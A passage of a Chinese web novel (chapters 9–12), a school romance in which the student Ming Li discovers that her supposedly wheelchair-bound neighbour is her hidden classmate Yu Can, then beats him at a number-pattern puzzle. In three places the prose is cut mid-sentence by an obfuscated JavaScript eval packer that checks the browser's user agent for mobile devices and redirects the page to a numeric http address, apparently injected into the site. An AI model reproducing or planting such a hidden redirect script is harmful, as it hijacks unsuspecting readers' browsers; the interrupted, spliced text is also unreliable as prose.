“赶紧的赶紧的,一会儿老师就到了,咱们先去他家玩会手机。”凌越催他赶紧走。 明厘梳理出了重要信息,原来不是去她家。 那还能说得通,她放心了。 一分钟后,她不仅没放心,心脏差点吓得飞出来。 明厘木然地站在404门前,开口讲了第一句话。 “我们现在是要去做什么?” 前面四个人同时转头,以一种奇异的目光看着她。 “……去看游灿啊。”8号男生说。 “他住这里?”她不解地指了指404的门。 “对啊,他住这儿,”贺鸣飞翻了翻手机,“我经常来,不可能走错。” 明厘心说,不错才怪! 里面就住一个爷爷和一个轮椅小蔡,我就住楼下还能不知道吗? 还没等往下细想,凌越抬手就敲了门。 楼道里很安静,不知谁家传来锅铲噼里啪啦的炒菜声,窗户开了缝,有风吹进来,她后颈一阵凉意。 明厘下意识摸着脖子,还没等她反应过来。 门开了—— “找谁?” 明厘抬眸的瞬间,愣在原地。 他是……游灿? 心里这么想的,嘴上不自觉说了出来。 “他不是游灿。”闻棠拉了下她衣角,小声说。 面前的男生染了一头亮眼的银发,一手扶在门框上,一手插兜堵在门口。 他穿宽松的烟灰色外套,眉骨锋利,面容瘦削好看,像是从漫画里走出来的少年。 “我草……”后面凌越小声的声音传来,夹着一丝兴奋。 男生嘴里嚼着口香糖,漫不经心地扫视一眼,揪出几个人里最胆小的闻棠,单单盯着她的脸,凑近:“你们干什么的?” 闻棠瞬间低下头,耳朵红红的,压根不敢和他对视。 不光是明厘,其他人也都怔了下。 “我们找游灿。”关键时刻,还是凌越站出来问了句。 “他不在。”银毛冷着脸,不耐烦地说,“还有事吗?” …… “是我,我们是他同学!”后面贺鸣飞挤上前来。 银毛大概是认出了他是谁,他一挑眉,眼里的警惕终于有所放松。 贺鸣飞接着说:“我刚给他打了电话,说在家啊。” 银毛扫了眼他们几个人,又往屋里面看了眼,终于离开门口,“进来吧。” 侧身让他们进去,然后关上了门。 明厘进来之后非常确定,这就是她来过的那个404。 整墙大书架,红色沙发,丑陋的太阳花抱枕,木质地板,连书香气都一模一样。但是,为什么开门的会是一个银毛? 她从进了单元楼开始就是懵的,现在只想搞清楚一个问题:这特么到底是不是平行世界? 如果可以的话,她有点想回家了。 从理论上来说,她家就在楼下。 凌越进门之后就开启絮叨模式:“这男的谁啊,也是一中的?我靠我咋没见过,这发色也太帅了……” “班长!” “不会是搞体育的吧?啧啧,胳膊上的肌肉练得好专业啊,等会要走的时候你们帮我记着点,跟他要个微信……” “班长!!” 凌越终于回头,“欸欸欸欸……!班长在呢!” 闻棠压低声音,“我们真没走错啊?” 不等凌越回答,银毛随意往沙发上一坐,冲着里面喊了句:“游灿!有同学找!” 游灿? 明厘大脑一片空白,没来得及做出任何反应,就听到里面卧室的门被嘭地拉开,又关上。 “哎,欢迎光临!” 熟悉的声音传来,明厘倏然回头。 卧室里有人走了出来。 也不是走。 他右腿微微弯曲,脸上挂着灿烂的笑容,扶着墙单脚跳了出来。 前面的凌越和贺鸣飞挡着,从明厘的角度看过去,只能从缝隙里看到他的腿。 灰色运动裤,两条腿又长又直。 她往左一步,视线往上挪,想看清这人的脸。 而就在她挪动的同时,男生偏头看过来。 两人隔着人头,视线相撞,毫无防备地对视了一眼。 周遭依旧寂静无比,屋内连风声都停止,只听到墙上挂钟的滴答声。 其实那不过是短短的几秒,明厘站在原地僵着,她脑海的银河中,两颗轨迹各异的小行星,以雷霆万钧之势,猝然对撞。 在茫然太空剧烈爆炸,迸发出巨大火光。 白色卫衣,明亮的黑眸,浅浅的内双。男生刚洗过脸,额头前的头发微湿,带着一股清爽的凉意。 的确和闻棠说的一样,生了副好皮囊。 明厘缓缓闭上眼睛,又睁开。 可是,这位叫游灿的同学,为什么和她认识的坐轮椅的小蔡,长得一模一样? 看清几个人的瞬间,男生嘴角的笑容僵住,愣在原地,有滴水珠顺着脸颊滑下,无声地滴落,砸到地板。 那瞬间,屋里安静极了。 凌越左看看右看看,“干嘛呢,怎么都不说话了?” 贺鸣飞走上前去撞了下游灿肩膀,“操。吓死我了!还以为我们走错地方了!” 游灿干笑两声,“那个……不好意思啊,我记错了,还以为你们是明天来。” 明厘始终盯着他的脸,眉毛拧起,短暂错愕之后,好像明白了点什么。 所以说,那个935.5的特装男,贺鸣飞请来做压轴题的外援,见义勇为受伤一直没去上学的年级第一游灿,就是住在她家楼上的轮椅少年? 怀抱着最后丁点希望的碎渣,她现在只有一个想法:里面卧室里是不是还藏着一个坐轮椅的小蔡?如果有的话,请他出来受死。 几个人轰隆轰隆就开始聊天说笑。 凌越说:“在家待久了,星期几都不知道了吧?” “这是给我的吗?”他指了指那束花和果篮,“不是吧,还带礼物过来啊?” “您这不是劳苦功高,校领导都知道了,见义勇为小英雄啊。”贺鸣飞说。 “受不起受不起,”游灿从抽屉里抓出一把各色糖果,放到茶几上,“我们红领巾做事从不留名,来吃点糖。” 凌越笑着说:“拉倒吧,夸你两句还装上了。” 没有老师在,几个人也不见外,聊了两句气氛就火热起来。 游灿也拉了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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楼上那什么乱七八糟的小蔡,不仅有腿,还是她未曾谋面的亲同学。 他早就知道她是谁,早就知道她是同学,结果一直瞒着,故意装不懂,让她讲题。 难怪。 非要听年级第一的八卦,还说什么怀念校园生活,鬼话张口就来。 她脑中闪过无数片段。半夜因愧疚睡不着,主动提出帮他讲数学题,最后那道题还是游灿,不,就是他自己做出来的。 然后装模作样地听她讲,认真点评,夸她讲得好。 “我们班那个年级第一啊,特装一男的……” 就在昨天,她还和轮椅上的人吐槽他们班那个年级第一。 一晃24小时过去了,时光荏苒。 轮椅上的少年不仅长出了两条腿,还面对面和她坐着,友好交流。 明厘端庄文静地坐在沙发上,双手自然垂下,放在膝盖上,嘴角微微勾起保持礼貌,在心里把游灿的二十八辈祖宗全都问候了一遍。 大概二十多分钟后,巫老师姗姗来迟。 “老师好!” “老师来啦!” 巫老师温和地笑了笑,“不好意思啊,我今天开会有点晚了。” 游灿热情地拿了茶包,熟练投茶,醒茶,“这是我姥爷压箱底的茶叶,挺好喝的,你们尝尝。” 他走路的时候右脚依然不敢沾地,单脚蹦跶,惹得巫老师赶紧让他别忙活了。 “过来也没什么别的事,主要是关心一下你的伤势,”她打量了眼他的右腿,“不过我看着应该好的差不多了吧?” “对,已经不用打石膏了,”他动了动腿,“放心吧老师,很快就能回学校了。” “那就好,伤筋动骨一百天,你这受了不少罪吧?” “还行,”他往沙发上一坐,“躺了半个多月呢,可舒服了。” 几个人都捧着茶杯笑起来,除了明厘。她一整晚在沉默地听着同学们打趣,心里一遍遍复盘过去几天的遭遇。 临走的时候,巫老师问游灿:“对了,你具体什么时间回学校啊?得给我个准话。” 他说了一个日期,但明厘没有听清,剩下几个人纷纷和他告别。 “那我们就走了,学校再见啊!” “行了,你别出来送了,赶紧回去养着吧。” 游灿站在门口笑着送他们,“好,再见啊,路上小心!” 从小区出来之后,巫老师又接了个电话,像是有突发情况,她打了个车,带着住宿舍闻棠赶紧回了学校。 “那个……我必须得先回去了,你们几个到家之后都给我报个平安啊!” 凌越说:“没问题老师,您先回去吧!” 贺鸣飞:“老师拜拜!” “你怎么走?”送走巫老师之后,凌越忽然问她。 明厘说:“我妈妈马上下班了,顺路来接我,我在这等等她。” “噢,那行,我和杨森一路,我俩就先走了啊。” 贺鸣飞:“行,我自己打个车回去。” 几个人在路边分开,各自都安排好之后,就剩下明厘一个人。 看着出租车走远,汇入远处的车流之后,明厘转身,独自又走回了小区。 路灯下,她走得缓慢,踏着风声一步一步。 她觉得愤怒又可笑,初来乍到,这座城市就这么不欢迎她? 想想又十分后悔,为什么要跟楼上打交道?没人玩就没人玩,自己在家刷手机不好吗?就这么喜欢装好学生?非要给人讲题刷优越感? 明厘带着怒气,每迈一步都要把台阶踩进十八层地狱,快要抵达三楼时,晃动的视野中出现了一个人影。 高挑清瘦,风吹起他的头发,发丝轻轻颤动。他倚在墙上低头玩手机,背着光,脖颈到肩膀勾勒出清晰的轮廓,像初秋的黄昏下高低起伏的山丘。 空旷的楼道里响起脚步声,随着脚步声渐近,男生按灭手机,抬起头来。 是游灿。 10. 道歉 晚上九点半,月亮当头,四下安静如初,“安全出口”的大字亮着绿灯,绿幽幽晃动在漆黑在楼道里。 明厘无视站着的人,打算直接开门回家。 “明……” 明厘转过头,静静地看了他一眼。 游灿咽了下口水,就不敢喊她名字了。 “那个……不好意思啊。” 他又不傻,面前的女生,明晃晃地竖起一身冰刺,看他的眼神就好像一个陌生人,恨不得除之而后快。 原本维持了几天的好邻居友情,在今晚彻底破碎。 明厘没理人。 “今晚上是不是吓到你了?真对不起,但我绝对没有故意捉弄你的意思。” 她终于转过身来,倚在墙上,和他面对面站着,穿堂风从中间轻巧走过。 明厘轻轻问了一句:“游灿同学?” 游灿都不确定他要不要答应这句话,只能硬着头皮说:“对不起啊。” 明厘的整张脸也埋在黑暗中,看不出表情,两个人都没有说话的时间里,空气就凝固着。 她累了一天,又是晕车又是受打击,这会儿完全发作不起来了。 凭心而论,这事两边都有错。 明厘当着人家本尊的面说坏话,想想也是尴尬。搁在别人身上,各大二十大板,互相道歉,以后开开心心继续做天下第一好邻居就完事了。 但她不行。 她最开始是真心要和楼上的小蔡交朋友,帮助人家学习的,这事一出,她有种被人看了笑话的感觉。 还有种真心错付的失望。 游灿还在继续解释:“我觉得这件事咱们两个都有错,如果按比例分,我占90%,当然主要责任在我,就闹了这么个乌龙。我肯定是要道歉的,但我真不是有意的……” 周围空气骤然冷了下来。 明厘隔着黑暗的空虚看了他一眼,“你是要我也道歉吗?” “那倒不用……” 因为这人看起来像是礼貌询问,但她满脸写的都是:对,我就是说你坏话了,要不你打死我吧。 明厘打断他,“那我就先回去了。” 说完,拉开门就进去,留给他一个孤独决绝的背影。 游灿再次回到404时,徐惊临正躺在他的床上逗小猫,见他回来了,偏头问:“哄好了?” 游灿转过头,眉心蹙起,“你这用的什么词?” 徐惊临懒懒地掀起眼皮,嗤笑一声,“不然你去干什么?” “道歉,跟你说了道歉,主动承认错误,建立友好的上下楼关系。” 徐惊临哦了一声,“那建立起来了吗?” “可能吧,我感觉……她应该没放在心上。” 游灿有点不确定,她虽然没说不怪他,但也没说怪他。再说他道歉也诚恳,讲道理也有逻辑,一条一条都说的很明白。 徐惊临从床上跳下来,翻出两个创可贴,对着镜子贴在额头处,“行了,别瞎想了,没准人家心胸比你开阔多了,赶紧出门吃烤肉去。” 游灿指着手机给他看,“几点了还吃?” “你不是要明天飞海城参加比赛啊?还不赶紧多吃几口。” “也是。”游灿转念一想。 书桌上躺着一本《初等数论入门》,是楼下送过来的,他把书小心收进柜子里,穿了外套,“走走走,赶紧去,我也饿了。” 两人下一秒就出了门,满身轻松,欢欢喜喜直奔那家炭烤牛排而去。 楼下,304。 明厘回到卧室,把门反锁,拉开凳子,杀气腾腾地坐在桌子前,翻开一本英语spark专项训练。 她先杀了两套完型填空,小明同学制定的英语学习计划非常有效,连续几天针对性练习后,已经把错误率控制在4个左右。 她又拿起旁边的数学题,三连杀,做了三道压轴大题。 做完这些,她又回头翻了遍英语错题,摘出生单词全部背一遍,几个科目交叉学习,不容易产生疲劳。 半小时后,订好的闹钟提醒她久坐对身体不好,该起来运动一下,明厘终于平静下来,简单洗漱后就爬到床上。 糟糕的一天终于要结束了,她闭上眼睛,脑海中不受控制冒出的画面却是一张坐轮椅的脸。 明厘烦躁地翻了个身,什么轮椅不轮椅的,阴魂不散。 * 第二天的语文课上,林甜在讲台上讲课文,下面的人硬撑着大眼,她声音尖锐,穿透力强,上课从来不用戴扩音器。 碍着她的盛气凌人,没人敢在语文课上放肆。 林甜是个直截了当的老师,只讲考点,抓干货,从不多说一句废话,因此课堂上必须保持绝对专注。 下课后,果然趴倒了一大片。 “下节课是什么?”贺鸣飞问。 网管说:“数学,你睡吧。” 贺鸣飞骂了一声,“你就一肚子坏水,还让我睡数学课,你怎么不睡?” 数学课是绝对不能睡的,这是高中生的常识。 明厘也打盹,她昨晚没睡好,半梦半醒间胃里不舒服,今天早读的时候就睁不开眼睛了。 她趴在桌子上,侧着头对闻棠说:“我睡一会,上课你叫我吧。” 闻棠点点头。 她安心地闭上双眼,准备入睡。 “明厘,上课了。” “……?” 明厘迷茫地睁开眼,刚好看到巫敏拿着书走进来。 她抬手看了眼表,居然已经过了十分钟了,这跟没睡有什么区别? 明厘时常会有个疑问,教室内时间的流速和外面的世界真的一样吗? 有时候一眨眼能睡过一个课间,有时候一眨眼能睡过两节正课。 要不然前面的贺鸣飞,每次醒来都会迷迷瞪瞪拍拍着网管: 这位仁兄啊,我没别的意思,就想确认一下,现在是21世纪,对吧? 明厘塌着肩膀,强行挺了挺背,打起精神。 巫老师说话也温柔,虽说是数学老师,也没有疾言厉色。但温柔归温柔,不影响课堂的纪律和教学,从来没有人敢在数学课上造次。别说睡觉了,谁敢走神一两分钟,回过神来就听不懂了。 她讲课的逻辑性极强,直切重点,这点明厘已经从好几个老师身上都观察到了,所以说,一中的师资力量不是吹的。 明厘觉得,这种与生俱来的压迫感,不光是因为巫老师,主要是来自数学,来自这门学科本身的威严。 它不像语文英语,浪漫有灵性,有人喜欢,有人不喜欢,有人马马虎虎无感。数学是一条泾渭分明的河,河这边的人天赋异禀,巨浪滔天也能在水里扑腾。河那边的人连蹲下洗个手都怕栽进去淹死。 数学只有热爱和害怕两个选项。 明厘属于后者,但她很会装。 * 下课后,巫老师宣布了一个重磅消息。 下周考试,全科,考整整两天。 “啊~~~~”底下人哀嚎一片。 “不要啊啊啊~” 巫老师本来表情严肃,被齐齐哭喊逗得差点没绷住,笑着敲敲黑板,“不准哭了啊,我看谁哭,谁哭我给谁加作业。” 所有人秒变脸,紧急调头,苦着脸笑出来。 “哈哈哈哈哈哈哈!” “嘿嘿嘿嘿嘿嘿嘿!” 最后弄得全班一起哄堂大笑,敲桌子敲椅子拍手,乱成一锅粥。 明厘夹在无数声嚯嚯哈嘿中间,也跟着笑了。 一班也不全是书呆子和变态学霸,原来还有一群神经病。 “练习册上重点题型太少了,所以咱们今天就先不留作业了,明天上完新课之后再一起做……” 还没等说完,贺鸣飞带头爆发出一句“好!” “吾皇万岁万岁万万岁!” …… 眼看着时间不早,巫老师抬手抓了一把空气,“收!” 她笑着说:“这话留着下节课说,我一介平民还受不起,你们去扶持格格登基还有点希望……好了啊,考试的消息已经传达到了,具体时间安排我会告诉班长。” “这是新学期的第一次大型考试,都重视一下,给我争口气,也给自己争口气,为接下来的学习开个好头,行不行?” 同学们齐齐回答:“行~~” “那我拭目以待了啊。” 老师走后,她去教室后面接水,接水时势必要路过最后一排桌子。 那张显眼的单桌上已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375849|168334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经盖了更多的试卷,画着小花的褶皱牛皮纸也被埋在底下。 一天之前她还在好奇神秘的935.5什么时候来,如今她端着杯子,一看到这张桌子就想起楼上拖着腮听她讲题的模样。 好不容易平复下去的怒气又有卷土重来的征兆。 明厘按下开关,接了杯凉水,冷漠地回了座位埋头看书。 晚上,芭娜娜给她发来消息。 芭娜娜:要不我下个月去找你玩呗?在这儿太无聊了,我还没去过屿城呢。 小明:周末来回太麻烦了吧。 芭娜娜:也是,但是五一也太远了,清明怎么样? 小明:清明不行,我家有客人。 芭娜娜:啊???谁家清明做客啊?你是说走的那种还是飘的那种? 小明:我妈新找的男朋友。 芭娜娜:(鞠躬)对不起。 小明:你再忍忍,五一来吧。 芭娜娜:行,到时候你带着相机吧,暖和之后花都开了,咱俩拍照片去! 小明:可以,我提前看看附近有什么好玩的地方。 与此同时,轻轻两下敲门声传来,明厘赶紧把手机塞进了书包夹层里,提起笔继续演算。 门从外面推开。 “小厘,把牛奶喝了吧。”一杯冒着热气的牛奶放到桌子上。 “知道了,谢谢妈。” 明岚弯腰看她做题,“屿城这题目挺难吧?” “重点内容都差不多,就是题型不太一样。” “那肯定的,知识都是死的,题目是活的,”明岚又开启话茬,“你们是不是要考试了?” “下周,月考。” “我跟你商量个事,”明岚坐在她床边,“之前不是说,清明假期你林叔叔过来吗,但是我最近和他打个了个电话,他想着清明节回老家看看,就和我商量看能不能把吃饭的时间往前挪一下?” 明厘喝了口牛奶,开口问:“你打算什么时候?” “你下周考完试吧,这周你好好准备考试,考完放松一下。” 她从善如流,“没问题。那我清明要出去和焦湘玩。” 刚说出口,明厘就有点后悔了,明岚虽然不干涉她交朋友,但言语间看得出来,她非常看不上焦湘那个不爱学习的做派。 “小湘啊?”明岚说,“隔这么远你俩还联系呢?” “对,她清明要来找我。” 沉默了两秒,明岚又开口。 “既然来了屿城,就多交点这边的朋友吧,你性格太木讷,还不懂人情世故的重要性,高中的同学才是以后能帮你一辈子的,别再沉迷以前了,一点用都没有。” 她云淡风轻地表示,“过去的已经过去了,再抓着不放也没意思,你现在最重要的任务就是学习,别让成绩掉下来。” 笨蛋明厘从善如流,一口气把牛奶喝光,“知道了。” 妈妈临走前拍了拍她肩膀,“第一次考试啊,不要紧张,相信你肯定没问题,从小到大妈妈也都不需要操心的你成绩,到时候林叔叔过来,咱们去吃顿好的,就当给你摆个庆功宴。” “嗯,好。” “对了,”明岚扶着门说,“手机你还是少玩,之前成绩下降肯定也和玩手机有关,你本来自制力就差,现在换了环境更浮躁得不行,我是你妈我最了解你……” “妈——”明厘看了她一眼,食指放在嘴边,“嘘,我要学习了,你一直在这我有点浮躁。” 门关上后,明厘烦地差点摔了笔。 说是商量,但妈妈就是过来通知她一下:我要给你找个后爸了,你要开开心心地跟人家吃顿饭啊。 一开始拿准了她不会反对,又试探着把日期提前,再下一步估计就是让人搬到家里来住。 偷着带手机去学校,偷着带相机去学校,你真以为妈妈都不知道吗? 你看,妈妈总能有办法让她无法拒绝。 明厘握着笔,重新翻了一页书,盯着直线与圆锥曲线的相切点,开始写公式。 她可以烦躁可以摔笔,但是摔完了还得捡回来继续做题,和明岚的这场拉锯战,也许会持续很多年。 目前她握在手里最大的据点就是成绩,起码在高中阶段,她绝对不能输。 11. 游戏 接下来的一周,游灿依然没有返校。 探病事件之后,明厘不再对传说中的年级第一感兴趣。 时间精力有限,她全身心都扑在学习上。 一班教学节奏快,不会专门留出时间来等她一个人,所以她必须趁着晚自习复习当天的知识点,晚上再回家开夜车补习高一上学期的内容。 早上七点,明厘已经进了教室,接水,翻开书背单词,一套动作行云流水。 她到的时候同桌闻棠已经坐在位置上了。 早读尚未开始,零散来了几个人,教室里很安静,偶尔有翻书和落笔的沙沙声。 对于分秒必争的高中生来说,比别人提早到教室学习,无异于马拉松提前开跑。 哪怕领先别人十分钟也足够沾沾自喜。 明厘的位置靠墙,第三排,在一班依然不起眼,这很符合她的预期。 大家都知道来了个新同学,但也没几个人过来和她搭话。最开始那两天,朱嫣儿殷勤地拉拢她,结果被泼了盆冷水,以朱嫣儿的社交能力,真真假假的话早就传了出去,至于具体说了什么,有没有添油加醋,明厘不在乎。 二十分钟后,她把英语单词换成政治课本,从公民的权利与义务开始背。 学霸明厘有一套自己的学习方法,比如背书的时候她不喜欢出声,也不喜欢看着内容背。 她背目录。 合上书,从目录和提前整理好的各级小标题开始,从头顺到尾,卡住的地方记下来,全部背完之后再统一去看。 看完之后背第二遍,卡住,记,复习,再背第三遍,循环往复。 学会某个知识点,或者流畅地背出内容,能带给人满满的成就感。 她非常享受这种成就感,也非常享受透明人的状态。 她做什么都不会有人盯着看,她也不会去盯着别人看,守着自己的一亩三分地,种瓜得瓜,种豆得豆。 之前明岚说,转学也没什么大不了的,谁在新学期不是从头开始? 就跟小小一滴水掉进海里一样,过几天就融为一体了。 但她自己清楚,大海没有向她展开怀抱,她也不想成为一滴水,非要说的话,她更愿意是一粒水银。 以相似的外形混杂在海水中,却始终不曾成为混沌中的一员。万里深蓝里,作为金属,保持着独特密度,拒绝溶解。 泛泛大海,她独立成队。 此前,学了好几年的竞赛说放弃就放弃,一向举止得体的明岚差点和她动手,这事已经成了藏在家里的不定时炸弹,指不定哪句话就会引爆。 按理说,她急切需要考个第一来证明自己。 不学竞赛又怎么样,我不还是一样优秀? 但……想到第一名,她脑海中又不自觉冒出一张讨人厌的脸。 且不说年级排名,班里高手如云,想拿下第一,首先就得把他踢下去。 这事不能细想,一想就容易联想到轮椅的尴尬事,明厘正烦躁时,收到了妈妈的消息。 明岚让她晚上打个车,早点回来。 她看了几秒,没看明白。 家里有急事? 可如果有急事的话,现在就该打电话让她回去了。 她没回复,装作看不见。 下晚自习后她打了个车回去,刚爬到三楼,身后就来了脚步声。 明厘叹了口气,缓缓道:“你们学霸,都这么阴魂不散的吗?” “什么阴魂不散,我是来还书的。” 身后,游灿站在三四楼之间的楼梯上,穿一件轻薄卫衣,没有拐杖,他无奈道:“这事就过不去了是吧。” 她靠在墙上,和他面对面,“什么书?” “这本,”他递过去,“数论啊。” “送你了。” 她转身就要走。 “对了,巫老师给我打了个电话。”他叫住她,也不嫌脏,直接坐在楼梯上,一副看热闹的表情。 “关我什么事?” 游灿说:“她说你初来乍到,让我这个邻居多关照一下。” 明厘反问:“所以呢?你怎么关照的?” “我……”游灿被她呛的哑口无言,“对不起,我这不是从今天开始学着好好做人了吗?” “那你慢慢学着。”明厘抬脚离开。 “哎,等一下,”他叫住她,“你是不是也学过竞赛?” 明厘戒心升起。 老师该不会派他来当说客吧,劝她重新学竞赛? “也是老师跟你说的?”她问道。 “那倒不是,我自己猜的,”他指了指那本书,“高中数学又不学这个。” 明厘稍微放心了。 她不希望新学校的任何同学知道她之前的事,只想做个小透明。 “我没学过,这本是买书送的,”她说,“我们渣渣怎么学得懂呢。” 游灿嘶了一声,“是吗?我怎么觉得不太对。” 明厘有点不耐烦了,“你是很无聊吗?” 他点头,“对。” 明厘忽而挑起一抹笑,“那来玩个游戏吧。” “什么游戏?” “最简单的,数字找规律。”她说,“如果你赢了,我就配合你完成巫老师的任务,如果你输了……” 游灿说:“我输了任你提条件。” 明厘挑眉,“就这么自信?” 游灿瞬间乐了,“不好意思啊,找规律这种题目,从小学开始,在下从无败绩。” “也是,毕竟是学霸,”她上前一步,对上他的眼睛,“如果你输了,以后不准来烦我,也不准和同学透露我们是邻居。” “没问题。” 两个人站在三楼和四楼的交界处。 规则很简单。双方轮流出题,回答正确后才能给对方出题,出题和答题分别限时五分钟,直到某一方想不出题目或者解不出题目为止。 明厘翻出一张空白纸,“谁先来?” 游灿大剌剌坐在楼梯上,做了个“请”的手势,“女士优先。” 她快速在本子上写下几个数字。 -2,1,0,5,26,17,124,37,X 求解:X=? 撕下纸,递给游灿。 他只扫了一眼,笑了,“你确定吗?” 明厘:“做吧。” 游灿当即说:“342。” 他底气十足,“奇数项立方-1,下一道如果还是这种级别的,我可就赢定了。” 明厘十分捧场地为他鼓掌,揶揄道:“哇,心算啊,真厉害。” 游灿翘着尾巴,骄傲道:“这题算我让你的,你再出一道吧。” “好。”明厘似乎早就料到他会这样说。 她笑眯眯地看了眼男生:“下一道题,我要加大难度了。” 她飞快写下几个数字,撕下来,递给他。 1,X,5,2,3,10,9,4 求解:X=? 游灿接过来,第一反应:“你确定这是找规律?” “是。” 一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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什么提示,这根本就是给他加了个限制! 万能答案用不了了。游灿气笑了,心想你故意的吧? “6。”他说。 “回答错误。”明厘遗憾地摇摇头。 手机上的计时停止,游灿脸上精彩纷呈。 他张了张嘴,又闭上,最后指着纸,憋出来一句:“你不会是随便写了串数字吧?” 明厘幽幽开口:“你不会是想耍赖吧?” “这串数字能有规律?!”他难以置信,尾音甚至微微变调。 “有啊。” “什么规律?” 明厘看着他,安静地微笑,“你输了。” 游灿不服,急切问道:“所以答案是多少?” 明厘沉默,低头不紧不慢地收拾书包。 游灿站了起来。 明厘把书包拎在肩膀。 她像个打了胜仗的女将军,傲然转身。 “你……等等!”他情急喊住她。 “嘘——”明厘伸出食指竖在嘴边。 游灿脚步顿住。 她嘴角微微弯起,粲然一笑,“愿赌服输。” 12. 再战 明厘心情大好。 她如愿出了口恶气。回家之后,做了三套完形填空专项,钻进温暖舒服的被窝里,一身轻松睡下了。 但有人睡不着了。 晚上12点多,游灿打了几局游戏,越打越烦躁,贺鸣飞的消息滴滴响。 :灿哥,你今晚怎么回事啊?不在状态? :我再开一局,赶紧来。 游灿回复:困了。 :(震惊脸)这才几点你就困了? :那行吧,那你睡吧,我再去骚扰下一个,嘿嘿~ 游灿关了手机,刚一抬眸,就看到桌子上那张纸。 1,X,5,2,3,10,9,4 他跳下床,拧着眉,瞪着那张纸,越想越不对劲。 不应该啊…… 高中知识点他早就学完了,哪怕是大学的内容,也不至于一点头绪都没有。 楼下那小心眼的不会是故意报复人吧? 游灿一咬牙,大不了不睡了。 他端正坐好,提笔唰唰在纸上算起来。 半个小时后。 草稿纸上写满各类复杂公式,一条比一条长,但无一例外写了个开头就被划掉。 他的心情从“嘿我就不信这个邪”,逐渐变成“不会真这么邪乎吧”,最后只剩下一个字。 “草……” 游灿同学往椅子上一瘫,生无可恋,发出了灵魂一问:我真的学过数学吗? * 平静的日子像是某一天的复制粘贴,明厘待在小角落,守着一张张试卷讲义,按照计划稳步前进。 晚自习闲下来时,她抽了张A4纸,打算理理思路。 主科里面,语文不用担心,语文是稳定性最强的一门,达到某个水平后,很难掉下来,当然同理,很难再进一步提升。 数学那就更不用担心了,她小学开始接触竞赛,初中毕业就提前学完高中数学所有内容,得益于各类变态的补习班和强大的学习能力,追上班级平均进度也就不到一周。 …… 一科一科顺着理下来,明厘逐渐有了底气。 尤其是看到最后排的那张空桌,她的信心又上一层楼。 明厘推测,他应该不会参加这次的月考。 这么一想,她能拿下第一的概率又大大提高了。 一班应该是早就经过了考试的千锤百炼,在月考面前也没什么紧张感,一到课间空就全部趴倒。 但有时候也不同。 比如下节课是英语,善良的格格就提前告诉网管,趁着课间十分钟播个英文小短片,不能光读死书,培养一下语感吧。 明厘是美剧十级爱好者,从听说这项课间例行活动就开始期待了,直到网管走上讲台,点两下鼠标,熟练地调出了英文版《小猪佩奇》。 几个粉色吹风机映在大屏幕上的时候,明厘两眼一黑。除了她表情懵逼之外,班里所有人都看得津津有味,嘻嘻哈哈。 这几天回家的路上都轻松很多。 明厘下了晚自习,路过小区的凉亭时,坐着玩了会手机。 夜风习习,天气有回暖的趋势。 她把书包放下,插上耳机听歌,享受宁静。 身旁脚步声渐近,明厘睁开眼,看到一个中年男人,坐在她对角的石凳上,特意拉开了距离。 男人面容和善,四十岁左右,目光相对,冲她微微笑了下,不知为何那笑容略显局促。 凉亭附近灯光昏暗,她看不清那人的脸,好像在哪见过,但一时又想不起来。 于是回应了个敷衍的微笑。 男人过来后就开始打电话,语气温和,听起来像是和家里人日常聊天。 她把耳机声音调大,闭上眼不再看他。 眼看时间差不多了,明厘起身离开小凉亭,心情不错地踏上楼梯。 此时,空旷的楼道忽然里传来喵地一声。声音弹回墙壁,发出阵阵重叠的回响。 小猫? 明厘骤然抬头,张望着四周。 声音从头顶传来,一步步靠近,最终停在了她的身后。 明厘回头,果然在昏暗的灯下看到一只橘黄色小猫,悠悠地迈着步子往下跳。 她蹲下身,“过来,小橘。” 小猫不怕人,在她伸手时两步跳下去,然后蹭了蹭她的手心。 柔软毛绒的触感传来,明厘内心绽开了一朵暖洋洋的小花,她把小猫抱到怀里,轻轻地摸着它的肚皮。 她之前也想养只小猫,但明岚洁癖严重,受不了猫毛在家里乱飞,坚决不同意她接触小动物,这事也就不了了之了。 她正和小猫玩着的时候,头顶又传来脚步声,一重一轻,一重一轻。 声音停在她的背后,明厘回头,看到那张脸,心沉了下去。 怎么又是他。 游灿正站在上方楼梯上,身形高挑,宽松的长裤衬得两条腿又直又长,他看着一人一猫,“你怎么在这儿?” 明厘背对着他,把白眼翻上天,“我不能在这吗?” “先说好,这回可不是我阴魂不散啊,”他指了指她怀里的小猫,打了个响指,“我跟它说话呢,到我这儿来。” 小猫像是听懂了一般,在她身上挣扎了下,一滩水似的从她胳膊间的缝隙里滑走了,三两下跳到楼梯上,跑回了游灿脚跟。 她虽然不喜欢游灿,但是很喜欢可爱的小橘。 她坐在台阶上,扭头仰视楼上的人,主动问道:“你的猫?” 游灿蹲下身,低头把它抱起来,“嗯,我刚才要给它涂药,一不小心没抓住,它从门缝里跑出来了。” 原来是他的小猫,明厘心说,早知道就不摸了。 “大晚上的,你在这儿蹲着吓唬人呢?”游灿看了眼漆黑的楼道,夜晚的楼道安静地瘆人。 “我愿意,”她说,“我就在这蹲着。” “好好好,那你继续蹲着吧,我带根号三先回去了。”游灿笑了笑说。 明厘没听懂,“什么根号三?” 他指了指小猫,“根号三。” 小猫适时发出了一声“喵~” 荒谬。 她从没见过有人给猫取名字要用数学知识的,是嫌在学校里还没学够吗。 